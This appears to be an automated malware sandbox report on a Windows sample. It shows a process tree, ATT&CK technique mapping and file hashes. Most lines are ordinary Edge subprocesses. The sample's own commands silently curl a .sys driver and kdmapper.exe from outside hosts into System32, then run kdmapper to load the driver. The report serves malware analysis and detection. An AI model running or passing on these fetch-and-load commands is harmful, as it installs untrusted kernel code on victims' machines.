      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,18021538023797600899,4409878565143250619,262144 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
      4⤵
      PID:4052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,3461495449253827215,8775401467141547945,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:11
      4⤵
      System Time Discovery
      PID:4788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2528,i,5057983403002677435,5365196686608108594,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:13
      4⤵
      PID:5340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4460,i,15732961125912309653,6061851450815056877,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=4476 /prefetch:14
      4⤵
      PID:4652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4460,i,15732961125912309653,6061851450815056877,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=4476 /prefetch:14
      4⤵
      PID:5988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3404,i,18225217430362212575,16927666885208990005,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:14
      4⤵
      PID:3380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3416,i,7778256100765053762,2801380125158059722,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:14
      4⤵
      PID:4980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4512,i,1955971429871311760,14945155203552246925,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:14
      4⤵
      PID:2060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4564,i,11709285154369044630,14707371202179633143,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:14
      4⤵
      PID:2516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5168,i,4225806845624981276,1442258532867228300,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:14
      4⤵
      PID:5660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,13024380402898371388,7098169088377883037,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=816 /prefetch:14
      4⤵
      PID:4388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5264,i,18128210061296578175,2360526599334166819,262144 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5304,i,6315267724155295417,1612875962396408981,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
      4⤵
      PID:5408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4780,i,6298460885808275032,15634426106639734031,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=3828 /prefetch:14
      4⤵
      PID:2040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3860,i,16728184522432700281,1151205142194042222,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:14
      4⤵
      PID:6076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4240,i,13861738729785702272,12245491621492270561,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=3860 /prefetch:14
      4⤵
      PID:4692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,7911833442369053196,8633115677591492315,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:14
      4⤵
      PID:4960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3800,i,16514835709374088339,456030896041333752,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:14
      4⤵
      PID:2848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,7046225591821995292,7973972290428991218,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
      4⤵
      PID:3264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4776,i,13746721655534053861,6612657685779709276,524288 --field-trial-handle=2252,i,10307318838018320760,9120467323977552641,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:14
      4⤵
      PID:4944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/xenoud
  2⤵
  PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:1992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:4688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Drops file in System32 directory
    PID:4468
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:6100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - Executes a command shell one-liner
  PID:2460

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3080

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ef94efdf6027521acc556f2ddc78c9ae9771420d47bdc17f3e93e564de51efa9
MD5 8cc1c744acb7d6f6a3048aebcdafdf0c
SHA1 fc48daa243ee2e1095e27d2c32ab51aa8030d248
SHA512 0b811e61cc2574ddd6f5e02762eea5f73c9cdd08acb47f113120f380d0a488c8e70d4d6dbc1811f9ad0aac02954bc7af209c067f094752fb9ace3354caea5db4
TLSH
T185D023707775B9E2D62C2535D5204310B5656963776B53077340840D9E3E4C39ACF5A6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e37476aef1c1a85633c137c733ab5e39f14caf53c20b84031db74eac9d451074
MD5 3a1d485389a159109ea38b448ccc25fe
SHA1 b532ffc27e50de47c5c6155a858f24208e3dea93
SHA512 b58016cac0241ddd168dcc9991e8e81d65a8af22ed742429889fc3db48040e93958d2f9988add3f3013d710df328cde6a2ac511dd38aa6d5f94df90b1bb299dd
TLSH
T172D023B077B56C22C70B3531A510C321B7D27B517A1EE5275260400D6D3E1D34ACF056
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 27132a6bdd6ed8e5b9b8e2e00d74cd6d4093a533ead465417492558ca504df0b
MD5 de6cd51079e8e465abc1bbf5d8b9fabe
SHA1 6349a87fb6be61f3bcdfef37a429a6f84155f331
SHA512 64ed1af38c008bcc1f7e70fecfeab2d20f1459715ad244d40ac4de6aa420b76e0e527b8309e0a2ed174842ada425b9d3b99adbcb2b021f880216bb46552a6c9e
TLSH
T18DE02BE7D811DC371CFD0F59B1544686E64013173B91850B7A3CA2098FF453B4655D5C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 fd5fe96e46ecd04543afc1ca168bbd2e035e9bdea51d7e9de6989b54e5c148ea
MD5 fe32115e0c1535e7f9dd6217bd4ccb09
SHA1 561052157fbf7b5e44ac21ab1e21f20608470d55
SHA512 50e52f02ab5c096deac421c126f285202200abafbc5793824c275b3d93a9ca2cc5a8f37d923eb8c163623ef7e3cb8fde236ea4daa9e2c3567d59d524c1e46eb5
SSDEEP 768:cLURITVWYcRew17NdVOc7SusXzTSYljcTLK1EvGzF9:cLPaRewPzAgXCZ9
TLSH
T1D813B67DF9120D4BD8D3403E4A8B4631B72CC875CAD941578A68B9222369F1E7AFE05F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 520KB
SHA256 1a10af02c70295807b851199c4ae26e3859d0e9ce80eb79c7a642280d73d7855
MD5 2fdecd20932f5842744ec12efccf4f07
SHA1 1179f50a5bfb8f800c02e2903e52e9c72795c2a9
SHA512 18212ac90dcaa7c2b464508fe96760862825012b2e66fc5b2bcaa7f37f567c5f967cddccfd043d7403791dbba46ec952329e88cd9a8b0c9a791f6c3964f012ea
SSDEEP 6144:tL/aL/yNRoph7RNRQSWIoJowFDjwrFzTyB2e:tL/aL/8R+FLQX1OwFfwdyB2e
TLSH
T1F1B4B6F78401582ACB7C12F95343367CD33B418D3DDAE9DAE53648996829F32B2A4DD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2
Size 3.0MB
SHA256 c303ec5b4ff4192b2b0762c3ea1e97ca91954a5dfc34fe6fdd9c7b6fff85298c
MD5 3f28da02dd8c1c0dbb3ccca6f0794436
SHA1 aa20ecbdc5ef741bc202ddaec10f978443f18001
SHA512 fa3e75a842234e5283ca33ebf95605683c8611d22c278b861c50d3314e65ad4f20547db71d1473b86b0f1b131a5e423a3ea3ea399c10e1e2f81f0c192f464e27
SSDEEP 12288:UQ6FLb15z/3g3l303r355QUl6jp+MuOLASnG6lvEvfbru150GMqQpH17AHjddhzF:k15z/3g3l303r3554genxaONDD
TLSH
T15EE52ADB87787A92DBA6DE70FDC4EC6D3DB810C2AED6E0432542C57901837C23A9558E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 8e89554d4d4f9761ad9a5ed1f4289d0ffbd09e2a818d6a7aa517a5184ed19168
MD5 61352487fa970a13870a82a227ad3a9a
SHA1 10abe32883b71dbbb976451442ba311aa33e6e4a
SHA512 a2a1d621dced06e5f3225b13c654d882d4fe44d75f53a0a64b011914c51cd65d48715ec5f72ff24948fe28a596846e4a8db156564e33abc1825b54b903c8aeba
SSDEEP 24576:MHAIZYfNbAojX3W7lB6KXxQeZRXfgH+715pKN7P3sMLNKVA4Rg:MgIyFb1jWD3XxOH+7bpKNQiJ4S
TLSH
T190169EEDCA685883CD639A30B5F0E9477C7413C3F994C1D6889CC584026BBC5BFAB669
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 e4e8765748a3f4442555babeaaff5334662cf5c9ab342dd74b805bdc3205e6b3
MD5 bebb288ec8d5dbc997535311fc196802
SHA1 f163dc553f335a361a1f038994ec82719fa9bfd9
SHA512 1818281ba298527a5c503fffbdc4cc3ff9653a59af87cde1bcccf2d88ac823763203a840089f24515044e7a4d0c4ccf4aec930abdffeb0a64a35c1612b6b5652
SSDEEP 192:dAxqTrw2rR1OIe8zj0rcbPxKZ318bi0CXz:d0kr3WXmQSxK78bRCD
TLSH
T199F15F71E3A29893DB5207B752D8A56639FC84BAD0035E094061FC738625F68BEF069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG
Size 343B
SHA256 cacf6f91f4686d3e579add93dbb61197f91f28e9034dff6f34d3fabbc2cb27f2
MD5 dface78fdfb6dd979ae48e7cfe5fade3
SHA1 d6f153521b0093ebcbe2aca2813bdc84a546371b
SHA512 a3353c87e7661760a8e07040e8fc7e5f1fcd5af68bbffdcd365bd30228740797363e36747905151a7e7f4f69b8030dd3d1559cd51d9db30ef77595806c2d21d3
TLSH
T189E026E6A5DBC16EA53038C347A45F0CD2E03587D6CAAD431709CCE87AC2006F3A678E
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Size 342B
SHA256 39dfdec86949f152a1471442545245ac5f3372b56428a6f61dffac0a3ec159e7
MD5 829a3c6987490c82e6ba954662c1d61b
SHA1 3799630075c4e24b21e810bb5896dd5ecb96c9b5
SHA512 0fe38650c2f79854b11bb4f6564fa45639e74cf8e644f7913c55cc92ee0ebe58c20307360aa83432e6521c046c39ccf2d2e1098695cae563817d0f4af593e30a
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 322B
SHA256 1d9960315fa1ff781a0bdaa3e73ee23ada471fa0b5682b6aeba8ef7574788213
MD5 1a3822eaafbcc90939b58bf22e9aeda8
SHA1 5ee85c7a6b787f24c27b4a29e7119e58fc927635
SHA512 9203cc805974f10b03f6557d5608d2b5ce4fb96ef85019e24ad086f2fd9e097ba55f53742ea65112b9226ecdca6f93e7549b2a54d2a9be38e2c3a745912a4111
TLSH
T1EBE0CD6805DDC56AD06468D38BFC934E83F13C46F7893E12170FA86C7241645F3A62A4
MD5 SHA1 SHA512 TLSH

Submit Download

computed_hashes.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json
Size 429B
SHA256 b829b0df7e3f2391bfba70090eb4ce2ba6a978ccd665eebf1073849bdd4b8fb9
MD5 5d1d9020ccefd76ca661902e0c229087
SHA1 dcf2aa4a1c626ec7ffd9abd284d29b269d78fcb6
SHA512 5f6e72720e64a7ac19f191f0179992745d5136d41dcdc13c5c3c2e35a71eb227570bd47c7b376658ef670b75929abeebd8ef470d1e24b595a11d320ec1479e3c
TLSH
T10AE055170A1A50B79BB8DB90EE525CA2E8A0A6B1C50438D63E608234B68A11F738347D
MD5 SHA1 SHA512 TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\verified_contents.json
Size 1KB
SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
MD5 738e757b92939b24cdbbd0efc2601315
SHA1 77058cbafa625aafbea867052136c11ad3332143
SHA512 dca3e12dd5a9f1802db6d11b009fce2b787e79b9f730094367c9f26d1d87af1ea072ff5b10888648fb1231dd83475cf45594bb0c9915b655ee363a3127a5ffc2
TLSH
T12B317466C8683D56267A63348E2D0602EB57C2BB0050640EB5AC558D4F7115FE242FAF
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Size 28KB
SHA256 9521d4e71c73539b03c5742d29640fb57dcf8fb3a2371975f9d34f306340cff2
MD5 3440824fe4dfe0ab21f7d81164c2bd45
SHA1 b212069d4cd8100865d881506616d2d41ada9441
SHA512 d350e932cf1fe073ccb083d54c03d8301248808d9ac784b9e4a9370925b1500ded96b3f5997675464b6702dfbe3e73734421dcbd2a06947a765b02870b8ab49e
SSDEEP 96:xBCxxcMY8xwAr5M3FJu4yYvXuz1XxQlHZnqMECRh:HaxTY7AFIJFitWlHZqME
TLSH
T10AD24B831E347C12FB452B3A6B2B447CD937B2ACAFA8CD09312564680CFC156A8390ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 224KB
SHA256 521e4d042d89dc4716e5d648c909211d2d93a8b9ace6bff39c9e84c1413a94a3
MD5 ae4ae4012add8302628c18f5cdb70ac8
SHA1 2259f32feadb51d3b6cc32a168bc70093f7f76b4
SHA512 7ea0f1cd1f6ee8b1fa1e1ad1726ab5f8ffa602653e3b2d4dd2c93f40d8241c1c3ec5baf0a95ffd471146a654ec60debaf4d669bbf47f69a534c3b4bf2e458803
SSDEEP 192:DwG7rRH+bF+UI3iWGVoWN3qL/SNxVVV63:dIkUI3ijVoWN3qL/cA
TLSH
T1D124221F5F712712CDBD91366CEB44A35C6DF03F8B5326DA686114B4CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 9KB
SHA256 106908f4b953440d763692eea1f970221f09a9d9613851951707cf8082d251e6
MD5 3901fe05998cfa33387822ae2f625ae1
SHA1 e872d89baaae2822d334b9ead188679ecfe2b89b
SHA512 4eeebcd49edb968305ebdfec047e884d0fd7d2330cdd44b79b2a19c4604723d951526785bc0837c26315b405e0ff3eec9e0406582b737b1306bebe9c9a1028bc
